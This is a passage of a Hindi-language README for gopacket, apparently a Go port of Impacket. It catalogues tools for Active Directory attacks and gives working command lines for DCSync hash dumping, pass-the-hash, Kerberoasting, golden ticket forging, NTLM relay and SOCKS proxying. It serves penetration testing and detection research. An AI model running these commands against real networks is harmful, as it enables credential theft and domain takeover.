Impacket का एक पूर्ण Go पोर्ट - Windows और Active Directory प्रोटोकॉल हमलों के लिए 63 CLI टूल्स और 24 लाइब्रेरीज़, जिसे एकल निर्भरता-मुक्त बाइनरी में संकलित किया गया है।
Jacob Paullus द्वारा (@psycep_)
Impacket का एक पूर्ण Go कार्यान्वयन - Windows नेटवर्क प्रोटोकॉल इंटरैक्शन, Active Directory एन्यूमरेशन, और हमला निष्पादन के लिए 63 टूल्स और 24 लाइब्रेरी पैकेज। इसे एक नेटिव Go फ्रेमवर्क के रूप में बनाया गया है ताकि आप एक बार कंपाइल करके कहीं भी चला सकें, बिना Python निर्भरताओं के।
बीटा रिलीज़ - अत्यधिक प्रायोगिक। gopacket सक्रिय विकास में है। मुख्य टूल्स का परीक्षण Active Directory लैब वातावरणों के विरुद्ध किया गया है, लेकिन एज केस और प्रोटोकॉल विचित्रताएँ अपेक्षित हैं। यदि कुछ काम नहीं कर रहा है, तो कृपया उसी ऑपरेशन को Impacket के साथ साथ-साथ परीक्षण करें और अपनी बग रिपोर्ट में दोनों आउटपुट शामिल करें। इससे हमें जल्दी से पहचानने में मदद मिलती है कि यह gopacket-विशिष्ट समस्या है या साझा प्रोटोकॉल सीमा।
git clone https://github.com/mandiant/gopacket
cd gopacket
# Default: Linux/macOS build + install to /usr/local/bin
./install.sh
# Run with no flags and it prompts you through the choices interactively.
# Or pick a target directly:
./install.sh --target portable # static Linux binaries in ./dist/portable/
./install.sh --target windows # Windows .exe cross-compiles in ./dist/windows/
./install.sh --target all # build every target in one run
# Build without installing (native only)
./install.sh --build-only
# Or build with make
make build
डिफ़ॉल्ट (--target native) बिल्ड के लिए Go 1.24.13+, GCC, और libpcap
डेवलपमेंट हेडर की आवश्यकता होती है (Debian/Ubuntu/Kali पर
apt install build-essential libpcap-dev, RHEL/CentOS पर
yum install gcc libpcap-devel, या macOS पर
brew install libpcap)। portable और windows टारगेट को केवल
Go टूलचेन की आवश्यकता होती है; उन बिल्ड्स में sniff और split स्टब बन जाते हैं
क्योंकि उन्हें libpcap की आवश्यकता होती है। पूरी मैट्रिक्स के लिए Platform Support देखें।
gopacket Linux, macOS, और Windows पर बिल्ड होता है। कार्यशील टूल्स का सेट और उपलब्ध प्रॉक्सीिंग पथ बिल्ड फ्लैग्स पर निर्भर करते हैं:
| Build | Tools available | Proxying |
|---|---|---|
| Linux / macOS with cgo (default) | All 63 | proxychains (LD_PRELOAD) and/or -proxy SOCKS5 |
Linux with CGO_ENABLED=0 | 61 (sniff, split become stubs) | -proxy only (proxychains needs the libc hook) |
Windows (GOOS=windows CGO_ENABLED=0) | 60 (sniff, split, sniffer stubs) | -proxy only (no LD_PRELOAD on Windows) |
sniff और split cgo के माध्यम से libpcap पर निर्भर करते हैं; sniffer Unix raw
sockets पर निर्भर करता है। जब किसी टूल को टारगेट के लिए बिल्ड नहीं किया जा सकता, तो gopacket एक
स्टब प्रतिस्थापित करता है जो एक स्पष्ट संदेश प्रिंट करता है और exit 1 करता है, ताकि go build ./... हमेशा
सफल हो और इंस्टॉल लेआउट सभी प्लेटफ़ॉर्म्स पर सुसंगत रहे।
अनइंस्टॉल करने के लिए:
./install.sh --uninstall
gopacket दो स्वतंत्र प्रॉक्सीिंग पथों का समर्थन करता है। इन्हें श्रृंखलाबद्ध भी किया जा सकता है।
सभी gopacket टूल्स proxychains के माध्यम से काम करते हैं। Go बाइनरीज़ सामान्यतः proxychains को बायपास करती हैं क्योंकि Go का रनटाइम DNS और नेटवर्किंग को आंतरिक रूप से संभालता है, उन LD_PRELOAD हुक्स को छोड़ देता है जिन पर proxychains निर्भर करता है। gopacket नेटवर्क ऑपरेशन्स के लिए सिस्टम C लाइब्रेरी के विरुद्ध लिंक करके इसका समाधान करता है, जिससे proxychains सामान्य रूप से कनेक्शन्स को इंटरसेप्ट कर सकता है।
proxychains gopacket-secretsdump 'domain/user:password@target'
proxychains gopacket-smbclient -k -no-pass 'domain/[email protected]'
-proxy)प्रत्येक टूल -proxy स्वीकार करता है ताकि LD_PRELOAD पर निर्भर किए बिना आउटबाउंड TCP को SOCKS5 सर्वर के माध्यम से रूट किया जा सके। स्वीकृत स्कीम्स: socks5 और socks5h। जब -proxy सेट नहीं होता, तो ALL_PROXY / all_proxy एनवायरनमेंट वेरिएबल्स को फ़ॉलबैक के रूप में देखा जाता है।
gopacket-secretsdump -proxy socks5h://127.0.0.1:1080 'domain/user:password@target'
ALL_PROXY=socks5h://127.0.0.1:1080 gopacket-smbclient 'domain/user:password@target'
UDP-निर्भर सुविधाएँ -proxy के अंतर्गत अक्षम हैं, बजाय चुपचाप पैकेट लीक करने के (SOCKS5 UDP ASSOCIATE को प्रॉक्सीज़ द्वारा शायद ही समर्थन मिलता है, और UDP के लिए प्रॉक्सी को बायपास करने से ऑपरेटर का वास्तविक स्रोत IP उजागर हो जाएगा)। प्रभावित सुविधाएँ और उनके वर्कअराउंड KNOWN_ISSUES.md में प्रलेखित हैं।
श्रृंखलाबद्ध करना: -proxy proxychains के साथ संगत है। SOCKS5 प्रॉक्सी से TCP कनेक्शन स्वयं अभी भी libc connect() के माध्यम से जाता है, इसलिए नेस्टेड रूटिंग परिदृश्यों के लिए proxychains → gopacket → -proxy → target काम करता है।
gopacket के 24 प्रोटोकॉल पैकेजों के ऊपर कस्टम टूल्स बनाने के लिए पूर्ण API दस्तावेज़ीकरण, कोड उदाहरण, और आर्किटेक्चर अवलोकन के लिए Library Developer Guide देखें।
| Tool | Description |
|---|---|
| psexec | SMB सेवा निर्माण के माध्यम से रिमोट कमांड निष्पादन |
| smbexec | SMB के माध्यम से रिमोट कमांड निष्पादन (psexec से अधिक स्टेल्थ) |
| wmiexec | WMI के माध्यम से रिमोट कमांड निष्पादन |
| dcomexec | DCOM के माध्यम से रिमोट कमांड निष्पादन |
| atexec | Task Scheduler के माध्यम से रिमोट कमांड निष्पादन |
| Tool | Description |
|---|---|
| secretsdump | SAM/LSA/NTDS.dit निष्कर्षण और DCSync (रिमोट + ऑफ़लाइन) |
| dpapi | DPAPI बैकअप कुंजी निष्कर्षण |
| esentutl | ऑफ़लाइन ESE डेटाबेस पार्सर (NTDS.dit) |
| registry-read | ऑफ़लाइन Windows रजिस्ट्री हाइव पार्सर |
| Tool | Description |
|---|---|
| getTGT | पासवर्ड, हैश, या AES कुंजी के साथ TGT का अनुरोध करें |
| getST | S4U2Self/S4U2Proxy के साथ सेवा टिकट का अनुरोध करें |
| GetUserSPNs | Kerberoasting - SPNs खोजें और अनुरोध करें |
| GetNPUsers | AS-REP roasting - प्री-ऑथ के बिना खाते खोजें |
| ticketer | गोल्डन/सिल्वर टिकट फ़ोर्जिंग |
| ticketConverter | ccache और kirbi फ़ॉर्मेट्स के बीच कन्वर्ट करें |
| describeTicket | Kerberos टिकट्स को पार्स और डिक्रिप्ट करें |
| getPac | PAC जानकारी का अनुरोध और पार्स करें |
| keylistattack | KERB-KEY-LIST-REQ हमला (RODC) |
| raiseChild | गोल्डन टिकट के माध्यम से चाइल्ड-टू-पैरेंट डोमेन एस्केलेशन |
| Tool | Description |
|---|---|
| GetADUsers | LDAP के माध्यम से डोमेन उपयोगकर्ताओं की गणना करें |
| GetADComputers | LDAP के माध्यम से डोमेन कंप्यूटरों की गणना करें |
| GetLAPSPassword | LDAP के माध्यम से LAPS पासवर्ड पढ़ें |
| findDelegation | डेलिगेशन कॉन्फ़िगरेशन खोजें |
| lookupsid | LSARPC के माध्यम से SID ब्रूट-फ़ोर्सिंग |
| samrdump | SAMR के माध्यम से उपयोगकर्ताओं की गणना करें |
| rpcdump | epmapper के माध्यम से RPC एंडपॉइंट्स डंप करें |
| rpcmap | सुलभ RPC इंटरफ़ेस के लिए स्कैन करें |
| net | SAMR/LSARPC के माध्यम से net user/group/computer एन्यूमरेशन |
| netview | सेशन, शेयर, और लॉग-ऑन उपयोगकर्ताओं की गणना करें |
| CheckLDAPStatus | LDAP साइनिंग और चैनल बाइंडिंग आवश्यकताओं की जाँच करें |
| DumpNTLMInfo | SMB नेगोशिएशन से NTLM प्रमाणीकरण जानकारी डंप करें |
| getArch | RPC के माध्यम से रिमोट OS आर्किटेक्चर का पता लगाएं |
| machine_role | मशीन रोल का पता लगाएं (DC, सर्वर, वर्कस्टेशन) |
| Tool | Description |
|---|---|
| addcomputer | मशीन खाते बनाएं/संशोधित करें/हटाएं (SAMR + LDAP) |
| rbcd | Resource-Based Constrained Delegation में हेरफेर |
| dacledit | AD ऑब्जेक्ट्स पर DACLs पढ़ें/लिखें |
| owneredit | ऑब्जेक्ट स्वामित्व पढ़ें/संशोधित करें |
| samedit | SAM खाता नाम स्पूफ़िंग (CVE-2021-42278/42287) |
| badsuccessor | BadSuccessor / बैकअप ऑपरेटर एस्केलेशन |
| changepasswd | SAMR और LDAP के माध्यम से पासवर्ड बदलें/रीसेट करें |
| Tool | Description |
|---|---|
| smbclient | इंटरैक्टिव SMB क्लाइंट (शेयर, ls, get, put, आदि) |
| smbserver | फ़ाइल शेयरिंग के लिए SMB सर्वर |
| attrib | SMB के माध्यम से फ़ाइल एट्रिब्यूट्स क्वेरी/संशोधित करें |
| filetime | SMB के माध्यम से फ़ाइल टाइमस्टैम्प क्वेरी/संशोधित करें |
| services | SVCCTL के माध्यम से रिमोट सेवा प्रबंधन |
| reg | WINREG के माध्यम से रिमोट रजिस्ट्री ऑपरेशन्स |
| Get-GPPPassword | SYSVOL से Group Policy Preferences पासवर्ड निकालें |
| karmaSMB | हैश कैप्चर के लिए रोग SMB सर्वर |
| Tool | Description |
|---|---|
| ntlmrelayx | मल्टी-प्रोटोकॉल समर्थन के साथ पूर्ण NTLM रिले फ्रेमवर्क |
ntlmrelayx समर्थन करता है:
| Tool | Description |
|---|---|
| mssqlclient | SQL/Windows/Kerberos प्रमाणीकरण के साथ इंटरैक्टिव MSSQL क्लाइंट |
| mssqlinstance | SQL Browser के माध्यम से MSSQL इंस्टेंस डिस्कवरी |
| Tool | Description |
|---|---|
| wmiquery | इंटरैक्टिव WMI क्वेरी शेल |
| wmipersist | WMI इवेंट सब्सक्रिप्शन पर्सिस्टेंस |
| Tool | Description |
|---|---|
| tstool | टर्मिनल सर्विसेज़ सेशन और प्रोसेस एन्यूमरेशन |
| Tool | Description |
|---|---|
| rdp_check | RDP प्रमाणीकरण जाँच |
| mqtt_check | MQTT प्रमाणीकरण जाँच |
| exchanger | Exchange Web Services क्लाइंट |
| Tool | Description |
|---|---|
| ntfs-read | ऑफ़लाइन NTFS फ़ाइलसिस्टम पार्सर |
| ping / ping6 | ICMP ping |
| sniff / sniffer | नेटवर्क पैकेट कैप्चर |
| split | बड़ी फ़ाइलें विभाजित करें |
सभी नेटवर्क टूल्स तीन प्रमाणीकरण विधियों का समर्थन करते हैं:
# Password
gopacket-secretsdump 'domain/user:password@target'
# NTLM hash (pass-the-hash)
gopacket-secretsdump -hashes ':nthash' 'domain/user@target'
# Kerberos (pass-the-ticket)
KRB5CCNAME=ticket.ccache gopacket-secretsdump -k -no-pass 'domain/user@target'
| Flag | Description |
|---|---|
-hashes LMHASH:NTHASH | NTLM हैश प्रमाणीकरण (LM हैश खाली हो सकता है) |
-k | Kerberos प्रमाणीकरण का उपयोग करें |
-no-pass | पासवर्ड के लिए संकेत न दें (-k या -hashes के साथ उपयोग करें) |
-dc-ip IP | डोमेन कंट्रोलर का IP पता |
-target-ip IP | टारगेट का IP पता (Kerberos के लिए होस्टनेम का उपयोग करते समय) |
-port PORT | टारगेट पोर्ट (डिफ़ॉल्ट टूल के अनुसार भिन्न होते हैं) |
-proxy URL | आउटबाउंड TCP को SOCKS5 प्रॉक्सी के माध्यम से रूट करें (जैसे socks5h://127.0.0.1:1080)। UDP सुविधाएँ अक्षम हैं। |
-debug | डीबग आउटपुट सक्षम करें |
# Dump domain hashes via DCSync
gopacket-secretsdump 'corp.local/admin:[email protected]'
# Interactive SMB shell
gopacket-smbclient -hashes ':aabbccdd...' 'corp.local/admin@fileserver'
# Kerberoast
gopacket-getuserspns 'corp.local/user:[email protected]'
# Golden ticket
gopacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local admin
# NTLM relay with SOCKS proxy
sudo gopacket-ntlmrelayx -t smb://target -socks
# LDAP relay for RBCD
sudo gopacket-ntlmrelayx -t ldaps://dc01.corp.local --delegate-access
# Route all outbound traffic through a SOCKS5 proxy
gopacket-secretsdump -proxy socks5h://127.0.0.1:1080 'corp.local/admin:[email protected]'
pkg/ डायरेक्टरी में 24 पुन: प्रयोज्य प्रोटोकॉल पैकेज हैं जिन्हें स्वतंत्र रूप से आयात किया जा सकता है।
| Package | Description |
|---|---|
| smb | NTLM और Kerberos प्रमाणीकरण के साथ SMB2/3 क्लाइंट |
| ldap | NTLM/Kerberos बाइंड के साथ LDAP क्लाइंट |
| dcerpc | DCE/RPC क्लाइंट + 20 सेवा कार्यान्वयन (DRSUAPI, SAMR, SVCCTL, LSARPC, WINREG, NETLOGON, DCOM, TSCH, EPMAPPER, आदि) |
| kerberos | Kerberos क्लाइंट, टिकट फ़ोर्जिंग (गोल्डन/सिल्वर), S4U2Self/S4U2Proxy |
| ntlm | NTLM प्रमाणीकरण प्रोटोकॉल |
| relay | NTLM रिले फ्रेमवर्क (सर्वर, क्लाइंट, हमले, SOCKS) |
| tds | SQL Server TDS प्रोटोकॉल |
| ese | Extensible Storage Engine पार्सर |
| registry | Windows रजिस्ट्री हाइव पार्सर |
| ntfs | NTFS फ़ाइलसिस्टम पार्सर |
| security | सिक्योरिटी डिस्क्रिप्टर, ACLs, SIDs |
| dpapi | DPAPI संरचनाएँ |
| mqtt | MQTT प्रोटोकॉल क्लाइंट |
| session | टारगेट/क्रेडेंशियल पार्सिंग (domain/user:pass@host) |
| flags | एकीकृत CLI फ्लैग फ्रेमवर्क |
gopacket का लक्ष्य पूर्ण Impacket समानता है। निम्नलिखित अभी तक कार्यान्वित नहीं हैं:
रिले प्रोटोकॉल क्लाइंट:
रिले हमला मॉड्यूल:
स्टैंडअलोन टूल्स:
ifmap.py (DCOM इंटरफ़ेस मैपिंग)mimikatz.py (RPC के माध्यम से सीमित Mimikatz)goldenPac.py (MS14-068 - पैच किए गए सिस्टम्स पर अप्रचलित)smbrelayx.py (ntlmrelayx द्वारा प्रतिस्थापित)kintercept.py (Kerberos इंटरसेप्शन)ये अंतराल कम प्राथमिकता के हैं - अधिकांश को परीक्षण के लिए विशिष्ट इन्फ्रास्ट्रक्चर की आवश्यकता होती है या नई तकनीकों द्वारा अप्रचलित कर दिए गए हैं।
ये Impacket के साथ साझा प्रोटोकॉल-स्तरीय सीमाएँ हैं, gopacket बग्स नहीं:
प्रत्येक समस्या और वर्कअराउंड की विस्तृत जानकारी के लिए KNOWN_ISSUES.md देखें।
यह एक बीटा रिलीज़ है। बग्स अपेक्षित हैं, और योगदान का स्वागत है।
चूंकि gopacket Impacket के समान वायर प्रोटोकॉल लागू करता है, बड़ी संख्या में "बग्स" पर्यावरणीय निकलते हैं, gopacket-विशिष्ट नहीं - पैच किए गए DCs, LDAP साइनिंग आवश्यकताएँ, EPA, PKT_INTEGRITY, SMB साइनिंग, CVE-2019-1040 के बाद NTLM MIC सत्यापन, अनुपलब्ध SPNs, समय विचलन, DNS विचित्रताएँ, फ़ायरवॉल नियम, इत्यादि। उसी ऑपरेशन को Impacket के साथ साथ-साथ चलाना समीकरण से पर्यावरण को हटा देता है:
यह एकल ट्राइएज चरण बहुत सारे राउंड-ट्रिप्स बचाता है, इसलिए कृपया इसे न छोड़ें।
-debug के साथ फिर से चलाएं और पूरा आउटपुट कैप्चर करेंcorp.internal → example.local
और dc01.corp.internal → dc01.example.local बदलना ठीक है - डेटा की
संरचना रखें, बस पहचानने योग्य मान नहीं। यदि संदेह हो, तो इसे रिडैक्ट करें।एक GitHub issue खोलें जिसमें उपयोग केस और Impacket समकक्ष (यदि कोई हो) का वर्णन हो। यदि सुविधा ऊपर "Missing Features" सूची में है, तो बताएं कौन सी - इससे हमें प्राथमिकता देने में मदद मिलती है।
PRs का स्वागत है। एक खोलने से पहले:
go build ./..., go vet ./..., gofmt -l ., और go test ./...
चलाएं और सुनिश्चित करें कि वे सभी सफलतापूर्वक पास होंखतरे के अभिनेता Python से दूर जा रहे हैं। कंपाइल किए गए Go और Rust टूलिंग (Sliver, BRC4, Geacon, और बेस्पोक लोडर्स) वास्तविक दुनिया के घुसपैठ में Impacket को तेजी से प्रतिस्थापित कर रहे हैं। अधिकांश रक्षात्मक टूलिंग और डिटेक्शन लॉजिक Impacket के Python-आधारित नेटवर्क व्यवहार के आसपास बनाए गए थे, और वह कवरेज कम हो रही है क्योंकि हमलावर पारिस्थितिकी तंत्र कंपाइल की गई भाषाओं की ओर बढ़ रहा है।
gopacket आंशिक रूप से सुरक्षा समुदाय को इस बदल